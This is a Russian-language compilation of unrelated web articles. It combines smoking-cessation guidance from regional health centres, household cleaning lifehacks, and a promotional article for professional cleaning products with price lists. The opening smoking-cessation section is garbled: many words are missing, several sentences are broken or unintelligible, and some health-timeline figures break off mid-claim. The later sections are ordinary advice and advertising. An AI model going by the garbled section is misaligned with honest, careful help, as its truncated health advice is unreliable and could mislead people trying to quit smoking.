ЕСЛИ НЕХВАТКА НИКОТИНА ДЕЛАЕТ ВАС ВСТРЕВОЖЕННЫМ, НЕДОВОЛЬНЫМ, НЕСЧАСТНЫМ, ЗНАЧИТ, ВЫ ПОПАЛИ В «ПОРОЧНЫЙ КРУГ».

Синдром абстиненции – что

Желание закурить аппетит, тревожность агрессивность, запоры, сонливость днём, бессонница ночью, нарушение концентрации внимания, головные боли, спазмы депрессия – всё это признаки синдрома абстиненции (зависимости).

Рекомендации для решивших отказаться

Текст ниже – психотерапевтический сеанс, направленный интеграцию мотивации.

Вспомните, когда Вы приняли решение начать курить. Возможно, тогда Вы курить всю жизнь… решение принял никотин, без Вашего ведома, а Вы потом вынужденно согласились? Подумайте

Составьте список причин, по которым Вы решили навсегда отказаться Утром просматривайте его, по возможности изменяя

Представьте себя самого, полностью отказавшегося

Представьте, что Вы попали будущее.

Задайте себе вопросы:

через год после отказа – представьте себя, как будто Вы видите себя

себя ситуациях, курил? –минимум, три ситуации,

вели себя окружающие (знакомые, друзья, близкие), через год после моего отказа чувствовал при этом? –минимум, три ситуации,

Какие мои действия привели отказу Возможно, Вы самостоятельно разработали свой план

Какие мои способности (личностные) качества помогли мне достичь поставленной цели? – будет лучше, если Вы найдете семь способностей

Подумайте, как помог Вам составленный список причин, по которым Вы решили навсегда отказаться Отметьте самые главные Что лично для Вас намного важнее сигарет? –

Ваше внутреннее «Я» полного отказа тоже изменилось. Вы назвали себя словами, вмещающими решимость полного отказа жизнь достигнутый Вами результат?

Возможно, теперь Вы готовы начать. Почувствуйте решимость

Выберите дату отказа

Дополнительные рекомендации:

В случае, если Вы одномоментно прекратить курение, выработайте промежуточные цели отказу

Например, каждый день курите на меньше.

Откажитесь желудок, еды

Выкуривайте только половину сигареты.

Старайтесь закуривать через 5–10 минут после возникновения желания. время займите себя что вам забыть

Уберите зажигалки, пепельницы предметы, которые напоминают

Подходя полного отказа попробуйте обойтись без сигарет вначале затем Определите наиболее трудные для вас моменты жизни без сигарет, научитесь

Направляйте свои мысли возможности обходиться вообще без сигарет.

Вам будет значительно легче избавиться зависимости полностью, помогая еще отказаться

За недели отказа (или сразу при полном одномоментном отказе) начните принимать витамин С по 200–300 мг если нет противопоказаний. Увеличьте физическую активность, больше времени проводите воздухе. более длительный срок недель) исключите алкогольные напитки, крепкий чай острые продукты. Употребляйте больше растительной пищи, соков. Старайтесь питаться

После того как избегайте сигарет также, как избегаете самых опасных событий!

Когда человек навсегда отказывается

20 минут:

Нормализуется артериальное давление, нормализуется пульс, повышается температура ладоней показателей.

6–12 часов:

Снижается концентрация никотина восстанавливается нормальное содержание кислорода уходит раздражительность, нервозность, тревога.

48 часов:

Активизируется рост нервных окончаний, ощутимо улучшается вкусовое восприятие становится легче ходить.

2–3 месяца:

Улучшается общее кровообращение, увеличивается жизненная емкость легких, возрастает половая активность увеличивается вес тела на

6–9 месяцев:

Исчезает хронический кашель, насморк, дыхание полностью восстанавливаются, повышается способность организма бороться

1 год:

Снижается риск возникновения ишемической болезни сердца вдвое по сравнению Жизнь продлевается, как минимум на

5–10 лет:

Снижается риск возникновения рака легких миокарда в (по сравнению Жизнь продлевается, как минимум на

Помощь по отказу

Консультацию по отказу вам могут дать центры здоровья.

Профессиональную помощь привычкой вам окажут в ГУЗ «Ульяновской областной клинической наркологической больнице»:

телефон доверия: 717-717

Как бросить курить

Все люди на земле знают, что курение вредит здоровью, этом постоянно пишут, говорят, это обсуждают, осуждают, все равно человек продолжает губить свой организм. Первая затяжка не приносит удовольствия, а наоборот, доставляет массу неприятных ощущений. В основном люди начинают курить по глупости в подростковом возрасте, чтобы не отста­вать от моды, не отбиваться от компании. Это дело затягива­ется, и впоследствии, становясь старше и разумнее, человек начинает понимать, что курение отрицательно влияет на орга­низм и что это уже не модно. Начиная курить, человек обыч­но не думает, что это может обернуться против него самого. Не думает о том, что бросить эту привычку будет сложно. Вот здесь и начинаются проблемы. Ведь для того, чтобы бросить эту вредную привычку, требуются терпение и сила воли.

Для того чтобы бросить курить, недостаточно выбрать подходящий метод борьбы, необходима еще сильная мотивация, которая подтолкнет на этот шаг и будет служить сильным стимулом. Для каждого человека он будет свой. Для одного это свое здоровье и внешность, для другого — здоровье своих близких, а кто-то просто поймет, что на сигареты тратится огромное количество денег. Самое главное — это захотеть избавиться никотиновой зависимости.

Табачная зависимость на сегодняшний день является самым распространенным заболеванием. По оценкам специалистов, всего 5% курильщиков способны самостоятельно отказаться от сигарет, а 80% курильщиков необходима медицинская помощь в борьбе с курением.

Трудными для курильщика, как правило, бывают только первые несколько дней. Лучше всего бросать курить сразу. Не следует растягивать этот процесс на длительное время.

Правила подготовки к отказу от курения:

1. Решительно настройте себя на отказ от курения. Избегайте мыслей, что это трудно осуществить.

2. Объявите о своем решении бросить курить членам семьи, ближайшим род­ственникам, друзьям, сотрудникам по работе. Предложите им, если они ку­рят, присоединиться к Вашему решению.

3. Уберите все предметы, связанные с курением (пепельницы, зажигалки, пач­ки сигарет, трубки, мундштуки).

4. Не носите сигареты с собой.

5. В день отказа от курения оставшиеся сигареты соберите, разорвите и выбросите.

6. Увеличьте физическую активность. Начните регулярные (не реже 3-5 раз в неделю) занятия: это может быть быстрая ходьба, плавание, бег, езда на велосипеде или другие виды физических нагрузок. Рекомендуемая продол­жительность - не менее 20 минут.

7. Постарайтесь максимально занять свое свободное время.

8. Откладывайте деньги, которые Вы ежедневно тратили бы на сигареты. На­граждайте себя - покупайте вещи, которые Вы хотели купить по мере на­копления денег, сэкономленных на сигаретах.

9. Сдайте в чистку вашу верхнюю одежду, чтобы освободить ее от запаха табака.

10. Воспользуйтесь услугой стоматологов - профессиональной чисткой зубов. Оцените, как у вас очистятся зубы от табачной желтизны.

11. Старайтесь по возможности избегать, хотя бы на время, общения с куриль­щиками, в особенности в ситуациях, когда они курят или могут закурить.

12. Постарайтесь внести изменения в своем жизненном распорядке в отно­шении моментов, обычно связанных у Вас с курением (во время утренней чашки кофе, после еды, в автомобильной пробке" и др.).

13. Старайтесь, чтобы ваши руки были чем-то заняты: можно держать в руках кистевой эспандер, четки, карандаш или другие предметы.

14. Для воспроизведения привычного поведения (взаимодействия руки и рта) вместо курения сигареты съешьте карамель, фрукты.

15. Употребляйте в сутки не менее 2 литров жидкости, включая первые блюда (если врач не давал других рекомендаций). Употребление достаточного ко­личества воды способствует более быстрому выведению из организма та­бачных токсинов.

Что дает отказ от курения:

улучшение собственного здоровья, а также здоровья членов семьи, лучшее ощущение вкуса пищи и запахов, экономию времени и денег, избавление от запаха табачного дыма, это хороший пример для членов семьи, улучшение цвета лица и уменьшение морщин: сохранение работоспособности, избавление от ситуаций, когда курить нельзя, но очень хочется.

Бросать курить никогда не поздно. Покончив с сигаретой раз и навсегда, человек пополняет запас жизненных сил и улучшает здоровье. Наполовину снижается риск сердечно-сосудистых заболеваний, которые ведут к летальному исходу. Также жизнь без сигарет уменьшает вероятность возникновения проблем с легкими и рака легких.

ГБУЗ "Центр медицинской профилактики" министерства здравоохранения Краснодарского края.

"

УБИРАЕМСЯ ДОМА — ЛАЙФХАКИ ДЛЯ ЭФФЕКТИВНОГО КЛИНИНГА

Все мы терпеть не можем убираться дома. Это вполне понятно, ничего приятного в этом занятии нет. Тем не менее, если следовать несложным правилам, неприятный процесс уборки можно значительно упростить. Итак.

1. Домашний клининг — надо радоваться, не надо напрягаться!

Чтобы уборка не очень сильно напрягала, имеет смысл включить музыку. Например, неплохо подойдет какое-нибудь позитивное FM-радио. Конечно, музыку стоит выбирать в зависимости от своих музыкальных предпочтений.

Вот небольшой список достойных радиостанций:

радио Rock — 95.2 FM, Relax — 90.8 FM (спокойная и ненавязчивая электронная музыка), Jazz — 89.1 FM, радио Классик — 100.9 FM (понравится эстетам и любителям классической музыки), радио Retro — 88.3 FM (отечественная и зарубежная эстрадная музыка времен СССР), Наше радио — 101.7 FM (здесь, в основном, играют отечественный рок), радио Книга — 105.0 FM (на этой радиостанции целыми сутками читают разные книжки), радио Шансон — 103.0 (на любителя).

Еще есть мотивирующая методика, которую можно назвать «маленькое вознаграждение». Смысл в том, что нужно пообещать себе маленькую награду за безупречную уборку. Например, когда закончите клининг, можете позволить себе скушать вкусную шоколадку.

К делу уборки можно относиться, как к своеобразной игре. Знаете, во многих видеоиграх есть специальные награды за скорость прохождения. А как быстро вы сможете провести безупречную уборку в квартире? Можно даже вести своеобразный дневник, отмечайте время каждой уборки в тетрадке или блокноте. Сможете побить свой прошлый рекорд?

2. Проводим клининг по таймеру

Если убираться совсем не хочется, есть возможность замотивировать себя с помощью будильника.

Смысл в том, что нужно себя поставить себе цель, что-то в духе — «пока не прозвонит будильник, я буду безупречно убираться в моей несчастной квартире». Главное тут — все-таки заставить себя именно убираться в течение этого времени, а не просто тянуть время.

3. Полезные фишки для клининга, о которых вы, скорее всего, не знали

Кстати! Совершенно не обязательно возиться с уборкой самостоятельно. Например, можно обратиться в клининговую компанию.

во-первых, все мастера клининга проходят обязательное обучение (разные типы поверхностей требуют различных методов чистки), во-вторых, клининговые компании предоставляют своим сотрудникам неплохой арсенал технического оборудования, а также профессиональных чистящих и моющих средств.

Впрочем, конечно, можно обойтись и своими силами.

Всех домохозяек очень раздражают жир и пригоревшая грязь. Чтобы разобраться с этими проблемами, приходится тратить слишком много времени. Впрочем, в этом случае может спасти нашатырный спирт. Эта фишка для клининга работает так: сначала нужно протереть загрязненные поверхности салфеткой, обильно смоченной в нашатыре. Примерно через десять минут грязь и жир можно с легкостью стереть салфеткой или тряпочкой.

Когда моете пол, в воду полезно добавить немного хлорки. Ее можно купить в ближайшем магазине бытовой химии, рыночное название — «Белизна». Пользы от хлорки очень много. Она прекрасно дезинфицирует любые поверхности и убивает вредные бактерии. Кроме того, после такого клининга в доме станет значительно свежее.

Если у вас есть домашние животные, будьте аккуратны. Кошки, например, терпеть не могут хлорку.

Еще одно полезное и недорогое средство — обычная пищевая сода.

Когда моете любые стекла — зеркала, оконные стекла, стеклянные дверцы шкафов, есть смысл после мытья насухо протереть их газетой. Если этого не сделать, на стеклах останутся некрасивые разводы, что неприятно. Кстати вместо газеты можно использовать тряпку из микрофибры — это эффективнее.

Для чистки кранов и других металлических изделий отлично подходит лимонная кислота. Сок лимона очень быстро удалит любые разводы и грязь. Кроме того, это средство работает, как слабенький преобразователь ржавчины.

Внутри микроволновой печи очень быстро скапливаются жир и грязь. Тем не менее, почистить микроволновку достаточно легко. Нужно налить в стеклянную или пластиковую мисочку воды, добавить некоторое количество уксуса и поставить в СВЧ-печь.

Теперь нужно включить печку на максимальной температуре минут на пять. После этого останется только протереть внутреннюю поверхность микроволновки салфеткой или тряпкой.

Уксуса жалеть не стоит, много — не мало. Кстати металлические миски или кастрюли в СВЧ-печь ставить нельзя — это приведет к поломке печки.

Есть простой и быстрый способ ароматизации квартиры. Особенно этот клининговый лайфхак будет полезен, в случае если у вас недавно что-нибудь сгорело на плите либо в духовке. Чтобы быстро убрать неприятный запах, нужно поставить несколько капель ванильной эссенции в разогретую духовку. Также неплохо подойдут эфирные масла с различными ароматами.

Поговорим о такой щекотливой теме, как поддержание порядка в доме. Лайфхак здесь очень простой и очевидный — каждую вещь после использования нужно класть на место. Когда в доме порядок, убираться будет гораздо проще.

Если вдруг выяснится, что некоторые вещи совершенно некуда девать — это повод задуматься.

Быть может, в доме слишком много лишних вещей, и от некоторых есть смысл избавиться?

"

Быстро и чисто: как сделать генеральную уборку в квартире за два дня

Весна на пороге, и так тянет впустить больше солнца в дом! Но вы уже знаете: его яркие лучи откроют все, чего не было видно в пасмурные зимние дни. Пыль везде — на мебели и под ней, пятна на плитке в кухне, потускневшие шторы и грязные окна, которые все хуже пропускают солнечный свет. С этим надо срочно что-то делать!

При мыслях о генеральной уборке становится страшно. Надо убрать самые укромные уголки, подвинуть мебель и как-то привлечь на помощь мужа. А выходных всего два! Как сделать генеральную уборку за такое короткое время и не выбиться окончательно из сил?

Уверяем вас, все не так страшно. Есть способ навести порядок в доме за обычные выходные, без лишних усилий и с долгосрочным эффектом. Нужно лишь знать небольшие профессиональные секреты и привлечь. нет, не мужа, а специальные средства.

Средство средству рознь — профессиональнальная химия против бытовой

Вы уже покупали бытовую химию и хозинвентарь в обычных магазинах. В итоге реклама была убедительнее, чем результат — эффективность оказалась низкой, а расход моющих средств большим. Чтобы удалить грязь, вам приходилось надолго «замачивать» поверхность и потом так же долго ее чистить. А третья по счету швабра с отжимом прослужила всего месяц и сломалась. Есть другое решение!

Задумайтесь, сколько раз в день приходится убираться в офисе или магазине? Большие площади требуют высокой скорости уборки, в общественных местах могут убираться по несколько раз в день. Поэтому инвентарь должен обеспечивать быструю уборку, без лишних действий и усилий. Также важна надежность, способность выдерживать большие нагрузки — не менять же его каждый день?

А теперь представьте, сколько раз за день уборщице приходится использовать моющие средства и с каким количеством стойких загрязнений ей надо бороться? Если средства токсичны, то за день она заработает себе проблемы со здоровьем. А ждать, пока состав начнет действовать, точно нет времени. Именно поэтому профессиональная химия действует быстро, и, вопреки расхожему мнению, вполне безопасна в использовании при соблюдении обычных мер предосторожности.

Профессиональные средства продаются в концентрированном виде и заметно экономичнее обычной бытовой химии, потому что объем загрязнений в общественных местах намного выше домашнего. Более того, такие составы защищают поверхность от повторного загрязнения и помогают дольше сохранить чистоту.

Так почему же, если профессиональные средства и инвентарь помогают ускорить уборку, удобны и безопасны, не применять их для дома? Ответ очевиден — это лучшее решение для того, чтобы сделать генеральную уборку в квартире быстрее и эффективнее.

Как организовать генеральную уборку дома

Итак, на уборку есть всего 2 дня. Какое время лучше выбрать для генеральной уборки и с чего начать? И самое главное, как успеть в выходные не только убраться, но и отдохнуть перед рабочей неделей?

С чего начать

Вы уже много раз пробовали наметить масштабную весеннюю уборку на один день и у вас не получилось даже начать? Это нормально. После утверждения «займусь генеральной уборкой в субботу» события будут развиваться стремительно и не по плану.

Вы начнете с маленьких и срочных задач (пришить пуговицу, пересадить цветок, выгулять собаку, а, может быть, почистить клетку попугаю), думая — как только все сделаю, начну! Но вот уже вечер, а уборка и не начиналась.

Здесь и кроется первый секрет — спланируйте уборку и разделите большую задачу на несколько мелких. Итак:

Обозначьте сроки и придерживайтесь их. Скоро Пасха? Значит уборка должна быть завершена к этой дате. Ждете гостей? Ориентируйтесь на них. Опишите фронт работ. Если вы ставите для себя цель убрать квартиру — это одна большая и неподъемная задача. Разбейте ее на части и запишите по пунктам. Выделите отдельные зоны для уборки и наметьте, что нужно сделать в каждой. Не пытайтесь уложиться в один день, выделите для уборки два дня. Так вы сможете не только навести порядок, но и уделить время себе и семье. Посмотреть любимый фильм тоже получится! Подберите инвентарь и средства. Для каждой зоны уборки подберите средства. Составьте их список и закажите в интернет-магазине с доставкой на дом. Так вы сэкономите время и силы.

Составить план и закупить все необходимое можно среди недели. Если у вас совсем нет времени, сделайте заказ с доставкой на дом. А лучше приезжайте к нам в офис, где вы можете не только посмотреть и пощупать товар перед покупкой, но и получить консультацию профессионалов. Профессиональные средства недешевы, и будет обидно, если вы купите неподходящие. Наши консультанты помогут вам сделать правильный выбор и в итоге сэкономить деньги.

Определяем фронт работ — что понадобится для уборки?

Суть генеральной уборки в том, чтобы очистить от пыли и грязи все труднодоступные места и поверхности, которые при регулярной уборке часто обходят стороной. Что нужно обязательно сделать?

Протереть пыль в труднодоступных местах — на поверхности шкафов, полках, стойках с музыкальной техникой, там, куда обычно вы добираетесь редко. Для уборки пыли вам понадобится тряпка из микрофибры PREMIUM. Она притягивает пыль и быстро удаляет ее. Также убрать пыль с высоких поверхностей поможет микрофибровый инвентарь для сбора пыли «Батон» — его длина 70 см, он изгибается в любом направлении и прекрасно притягивает пыль. А если у вас очень высокие потолки, более 3 м, то «Батон» в сочетании с телескопической рукояткой от швабры Premium поможет сотворить чудо — очистить от пыли все потолки, без лестниц-стремянок и лишних усилий. Результат будет виден невооруженным взглядом. Оттереть пятна и защитить поверхности от пыли поможет Universal Spray или Furnix. Убрать пыль под мебелью (диваном, шкафом, комодом и т. д.). Для этого может понадобиться отодвинуть мебель. Но если под ней есть пространство, то двигать ничего не нужно. В таких случаях лучше начать с сухой уборки. Помыть люстры, бра и другие осветительные приборы — возьмите микрофибровую тряпочку и Universal Spray или Universalin. Помыть окна — для этой масштабной задачи вам пригодится телескопическая штанга, для того чтобы достать верхнюю часть окна, стяжка-сгон воды, которая эффективно и быстро соберет воду со стекла, держатель ворсовых насадок и белая шубка для мытья окон. Также вам потребуется моющее средство Vitrinex — он легко удалит любые загрязнения с окон. Вернуть былой цвет окрашенным рамам и подоконникам поможет Fatex.

Постирать шторы — при сильных загрязнениях штор поможет все тот же Fatex. Во время уборки вы можете постирать шторы в стиральной машине, главное — правильно выбрать режим стирки, подходящий под материал. Убраться в туалете и ванной комнате — здесь предстоит объемная работа: кроме унитаза, раковины, ванны и зеркала необходимо помыть стены, межплиточные швы на стенах и полу, двери, смесители и шкафчики. Для уборки вам понадобятся латексная тряпка, губка, перчатки для защиты рук. Отмыть поверхность сантехники и кафель от любых загрязнений поможет Sanitin, а если вас замучила ржавчина и известковые пятна — воспользуйтесь более сильным средством Super Sanitin. Уделить особое внимание кухне — здесь скапливается большое количество жира на поверхностях, брызги и разводы на кафеле. С грязью в кухне отлично справится средство для удаления жирных загрязнений Fatex — оно удалит жир со всех поверхностей в кухне: плиты, холодильника, стен у плиты и раковины. Нагар внутри духовки и на противнях победит Grillin. Также понадобится тряпка из микрофибры PREMIUM, губка и перчатки.

Не пытайтесь во время наведения порядка в кухне разобрать все шкафы — это замедлит процесс или же спутает все планы. Ваша задача — очистить от жира и грязи открытые поверхности.

Очистить ковровые покрытия и мягкую мебель — отличным решением станет средство для ковровых покрытий Tapenext и бутылка-спрей. Помыть пол. В завершении уборки нужно обязательно помыть пол, в том числе под мебелью (если нет необходимости ее двигать). Для влажной уборки лучшими помощниками станут швабра-насадка с телескопической рукояткой и микрофибровой тряпкой для швабры в сочетании с моющим средством Multifloor. Планируем затраты

Давайте посчитаем, во сколько вам обойдется заказ необходимых средств и инвентаря. Мы предлагаем два варианта: первый рассчитан на минимальный бюджет, второй — на максимальную эффективность. При минимальном бюджете вы можете вымыть окна губкой и латексной тряпкой, а с пылью справиться одной микрофибровой тряпочкой. Ковры можно сдать в химчистку или просто пропылесосить, если они не сильно загрязнены.

Минимальный Тряпка из микрофибры PREMIUM - 2 штуки 572 руб. Латексная тряпка 201 руб. Перчатки - 2 пары 180 руб. Телескопическая рукоятка 776 руб. Швабра-насадка 864 руб. Моп - 2 штуки 1494 руб. Губка 120 руб. Vitrinex (1 л концентрата) 187 руб. Fatex (1 л концентрата) 251 руб. Universal Spray 121 руб. Sanitin или Super Sanitin (1 л концентрата) 250–275 руб. Итого 5041 руб.

Максимальный, все то же самое, плюс: «Батон» 1174 руб. Телескопическая штанга 902 руб. Шубка с держателем 750 руб. Стяжка-сгон воды 969 руб. Бутылка-спрей 354 руб. Tapenext (1 л концентрата) 377 руб. Grillin (1 л концентрата) 308 руб. Multifloor (1 л концентрата) 332 руб. Furnix (1 л концентрата) 305 руб. Итого 10512 руб.

*Все цены указаны на момент публикации

Помните, что затраты на инвентарь и профессиональную химию — не одноразовые: инвентарь прослужит вам верой и правдой много лет, а концентрированных средств хватит надолго.

Еще один секрет — всегда проводите уборку по направлению сверху вниз, чтобы пыль с верхних поверхностей опускалась вниз, где вы уберетесь позже.

Распределяем время

Если в вашем распоряжении всего два выходных, то уборка не должна поглотить все ваше внимание — должно остаться время и на отдых. Наш пример ориентирован на 2-комнатную квартиру площадью около 53 м². Очень важно перед уборкой освободить пространство и разложить вещи по местам. Предлагаем распределить время следующим образом.

Будний день до предполагаемой уборки:

Составить план уборки 20 минут Подобрать и заказать средства для уборки в интернет-магазине 30–45 минут Разложить вещи по местам в комнатах, ванной и кухне 45 минут

День 1-й

9:00–9:30 Снять шторы (2 комнаты и кухня) 20 минут 9:30–10:30 Помыть люстру, бра и другие осветительные приборы тряпкой из микрофибры и Universal Spray /Universalin 1 час 10:30–11:10 Убрать пыль в труднодоступных местах — на 2 шкафах в комнатах, шкафах в кухне, стойке с музыкальной техникой с помощью инвентаря для сбора пыли «Батон» и/или тряпки из микрофибры, оттирая пятна с использованием Universal Spray /Furnix 40 мин 11:10—12:40 Вымыть окна (2 окна в комнатах, 1 окно в кухне, окна на лоджии) с использованием профессионального инвентаря 1,5 часа 12:40 — 13:05 Убрать пыль под мебелью (если не двигать мебель): 2 кресла, комод, стол, стойка с техникой — в помощь вам швабра и моп для сухой уборки 25 минут 13:05 — 13:30 Вымыть пол под мебелью с помощью профессиональной швабры: 2 кресла, комод, стол, стойка с техникой. Уборка под мебелью с передвижением нетяжелых предметов займет на 30 минут больше 20-25 минут 13:30 — 14:00 Вымыть пол с помощью профессиональной швабры 30 минут

В первый день на уборку у вас уйдет около 5 часов, и уже к обеду вы будете свободны. Лучше начать уборку утром, иначе вас могут поглотить какие-то другие дела.

День 2-й

9:00–10:30 Убраться в ванной комнате с использованием профессиональной химии и расходных материалов (латексной тряпки, губки) 1,5 часа 10:30–12:30 Отмыть кухню с помощью профессионального состава, латексной тряпки и губки 1,5–2 часа 12:30–13:30 Почистить ковры и мягкую мебель (1 ковер, 2 кресла, 1 диван, 6 стульев) с использованием профессиональной химии 1 час 13:30–14:00 Вымыть пол с помощью профессиональной швабры и профхимии 30 минут

На второй день уборку также стоит начать утром, потому что во второй половине дня вам обязательно нужно время для подготовки к предстоящей рабочей неделе. Выделите на все около 4,5–5 часов. Не разбивайте уборку на этапы — так вы затянете время и можете забросить ее совсем. Профессиональные клинеры никогда не прерываются во время уборки.

Как сделать уборку приятнее и веселее

Генеральная уборка не должна казаться вам чем-то ужасно скучным. Позитивный настрой — один из главных ваших помощников. Масштабная уборка поможет расставить по местам не только вещи в квартире и убрать пыль. Это отличный способ упорядочить свои мысли, отвлечься, выкинуть из головы все лишнее и привлечь новые идеи.

Но если это мероприятие все еще вас смущает и навевает грустные мысли, воспользуйтесь случаем во время уборки послушать любимую музыку или аудиокнигу. Это отлично заряжает энергией и позитивом!

Резюме

Генеральная уборка в разгар весны — важное событие, которое не должно стать катастрофой. Чтобы уложиться в два выходных дня, следуйте нашим советам. И самое главное — настройте себя на позитивный лад. Представьте себе тот грандиозный результат, который вы получите после генеральной уборки дома. Ваша квартира будет сверкать чистотой, и весеннее настроение не заставит себя долго ждать.

Помогите своим друзьям также легко справиться с весенней генеральной уборкой в квартире — поделитесь нашей статьей!

"

20 коротких советов, которые помогут Вам бросить курить

1. Поверьте в себя. Поверьте, что вы можете бросить. Вспомните самые сложные вещи, которые вы делали и осознайте, что у вас есть сила воли 'и решимость бросить курить. Все зависит от Вас.

2. После того как Вы прочтете этот список, сядьте и напишите свой, переработанный в соответствии с Вашими чертами характера и особенностями. Создайте свой собственный план, как бросить курить.

3. Изложите на бумаге причины, по которым Вы хотите бросить курить (преимущества жизни без курения): жить дольше, чувствовать себя лучше, для своей семьи, сберечь деньги, пахнуть лучше, легче найти пару, и т.д. Вы знаете, что плохого в курение и что Вы приобретете бросив. Запишите все на бумаге и читайте ежедневно

4. Попросите свою семью и друзей поддержать Вас в Вашем решении бросить курить. Попросите их о полной поддержке и терпимости. Поставьте их в известность заранее, что Вы, возможно, будете раздражительным даже раздражающим во время расставания с этой вредной привычкой.

5. Назначьте дату окончания курения. Решите, в какой день Вы расстанетесь с сигаретами навсегда. Запишите эту дату. Спланируйте ее. Подготовьте свой мозг к "первому дню Вашей новой жизни". Вы даже можете провести небольшую церемонию по поводу Вашей последней сигареты или утра дня отказа от курения.

6. Поговорите с Вашим врачом по поводу отказа курить. Поддержка и направленность, полученные от врача – проверенный способ улучшить Ваши шансы на успех.

7. Начните делать зарядку. Спорт просто несовместим с курением. Упражнения снимают стресс и помогают Вашему телу восстановиться от вреда нанесенного сигаретами. Если необходимо, начинайте постепенно, с короткой прогулки раз или два в день. Доведите это до 30—40 минутных упражнений 3 или 4 раза в неделю. Посоветуйтесь с врачом, прежде чем начнете любые упражнения.

8. Делайте глубокие дыхательные упражнения каждый день по 3—5 минут. Очень медленно вдохните через нос, задержите дыхание на несколько секунд, очень медленно выдохните через рот. Попробуйте делать дыхательные упражнения с закрытыми глазами и переходите к п.9

9. Отчетливо представьте себе, как Вы перестанете быть курильщиком. Во время дыхательных упражнений п.8 Вы можете закрыть глаза и вообразить себя некурящим. Вы должны увидеть себя наслаждающимся упражнениями п.7. Представьте себя отказывающимся от предложенной сигареты. Увидьте, как Вы выбрасываете все свои сигареты прочь и получающим за это золотую медаль. Развивайте свои собственные креативные представления. "Визуализация" сработает.

10. Уменьшайте количество сигарет постепенно (если Вы уменьшаете количество сигарет, обязательно назначьте день ОКОНЧАТЕЛЬНОГО отказа от курения). Способы постепенного отказа от курения включают в себя: планирование количества выкуриваемых сигарет на каждый день до окончания курения, уменьшения количества выкуриваемых сигарет каждый день, покупку сигарет в количестве не больше одной пачки, замену марки, чтобы не так нравился процесс курения. Отдайте свои сигареты кому-нибудь другому, чтобы Вам приходилось каждый раз их просить, когда Вы захотите курить.

11. Попробуйте "завязать" – бросить курить раз и навсегда. Многие курильщики проверили на себе, что единственный способ расстаться с сигаретами – бросить резко и полностью, без попыток уменьшить количество выкуриваемых сигарет. Тем не менее, найдите метод, который будет наиболее подходящим для Вас: бросать постепенно или сразу. Если один из методов не сработает – попробуйте другой.

12. Найдите себе партнера – другого курильщика, который также хочет бросить курить. Подбадривайте и помогайте друг другу, обращайтесь к другу, когда чувствуете, что не выдерживаете. Зайдите к нам на Форум или в чат, там наверняка найдется помощь.

13. Тщательно чистите зубы. Обращайте внимание на то, как быстро улучшается их состояние и как они белеют. Представьте себе и получите удовольствие от мысли о том, как они будут выглядеть через месяц, три или год.

14. После того как Вы бросили курить, запланируйте отметить круглые даты на Вашем пути от курящего к некурящему. Через 2 недели – сходите в кино. Через месяц – сходите в хороший ресторан или в кафе (обязательно сядьте в секции для некурящих!). Через 3 месяца – проведите выходные в Вашем любимом месте. Через 6 месяцев – купите себе что-нибудь серьезное. Через 1 год устройте себе вечеринку. Пригласите свою семью и друзей на "день рождения" человека, который приобрел шанс прожить долгую и здоровую жизнь.

15. Пейте много воды. Вода хороша в любом случае и большинство людей не пьют ее в достаточном количестве. Вода поможет "вымыть" никотин и другую химию "из организма, к тому же она поможет снять тягу к сигаретам, отвечая на "запросы рта".

16. Осознайте, в какое время у Вас появляется желание курить, например: во время стресса, после еды, во время прибытия на работу и т.д. Постарайтесь избегать этих ситуаций, а если это невозможно – найдите другие модели поведения в эти моменты.

17. Найдите что-нибудь, что можно держать в руке и во рту, что бы заменить этим сигареты. Попробуйте использовать соломинки для питья, можете так же попробовать заменители сигарет называемые "E-Z Quit". Дополнительную информацию можно найти здесь.

18. Напишите воодушевительную песню или стих на тему "Бросаю курить", о сигаретах, и что для Вас значит расстаться с табаком. Читайте ее каждый день.

19. Носите с собой фотографию своей семьи или того, кто Вам дорог. Напишите на листе бумаги: "Я бросаю для себя и для тебя (вас)" и прикрепите его к фотографии. Когда у Вас появится желание курить, посмотрите на фотографию и прочтите надпись. Каждый раз, когда у Вас появляется желание курить, вместо того, что бы закурить запишите свои чувства или все, что у вас на уме. Носите этот лист всегда с собой. Желаем удачи в вашем стремлении бросить курить. Это того стоит! Запомните!

• Через 20 минут – после последней сигареты артериальное давление снизится до нормального, восстановится работа сердца, улучшится кровоснабжение ладоней и ступней. • Через 8 часов – нормализуется содержание кислорода в крови.

• Через 2 суток – усилится способность ощущать вкус и запах. • Через неделю – улучшится цвет лица, исчезнет неприятный запах от кожи, волос, при выдохе.

• Через месяц – явно станет легче дышать, покинут утомление, головная боль, особенно по утрам, перестанет беспокоить кашель. • Через полгода – пульс станет реже, улучшатся спортивные результаты – начнете быстрее бегать, плавать, почувствуете желание физических нагрузок • Через 1 год – риск развития коронарной болезни сердца по сравнению с курильщиками снизится наполовину. • Через 5 лет – резко уменьшится вероятность умереть от рака легких по сравнению с теми, кто выкуривает пачку в день.

"

План отказа

В течение двухнедельного подготовительного периода помните о следующем: Выделяйте отдельное время для употребления табака или никотиновых продуктов. Например, если вы привыкли курить за рулем, то теперь останавливайте машину и выходите, чтобы покурить. Не употребляйте никотин в свободные моменты дома или на работе, делайте это в отдельное время позже. Уберите электронные сигареты, зажигалки, табакерки и т. д. в непривычные места. Создайте в доме зоны, свободные от никотина, и постоянно их расширяйте! Запишите причины, по которым вы хотите бросить никотин. Попросите друзей и членов семьи не употреблять табак и никотиновые продукты рядом с вами или бросить никотин вместе с вами. Хорошей мотивацией служит обоюдный договор. Назначьте точную дату отказа от никотина, серьезно к ней подготовьтесь и придерживайтесь выбранного срока. Не бойтесь просить помощи. Процесс отказа гораздо успешнее, если делать это под наблюдением обученного работника здравоохранения. Обратитесь за помощью к своему семейному врачу или найдите ближайший консультационный кабинет здесь. Первые четыре дня самые тяжелые, ниже Вы найдете идеи и советы, как в это время преодолеть трудности

Первый день без никотина

Найдите занятия на замену употреблению табака или никотина – спорт или что-то иное. Будьте активны, сходите на прогулку, в кино, в театр. Старайтесь избегать нервных ситуаций. Ведите дневник. Второй день без никотина

Вам нужно бороться с возможным никотиновым голодом

Выпивайте 6-8 стаканов воды в день. Нервничая, сделайте глубокий вдох, задержите воздух и спокойно выдохните – желание нагрубить исчезнет! Занимайтесь спортом, гуляйте вместе с людьми, которые также не употребляют никотин. Жуйте жвачку без сахара. Не ешьте сладостей.

Все неудобства проходят, они только означают, что идет процесс избавления от никотиновой зависимости. Сейчас наверняка трудно, поэтому не торопитесь, делайте шаг за шагом. Помните, что мотивировало вас бросить.

Третий день без никотина

Вы начинаете искать предлоги, чтобы начать сначала. Держитесь!

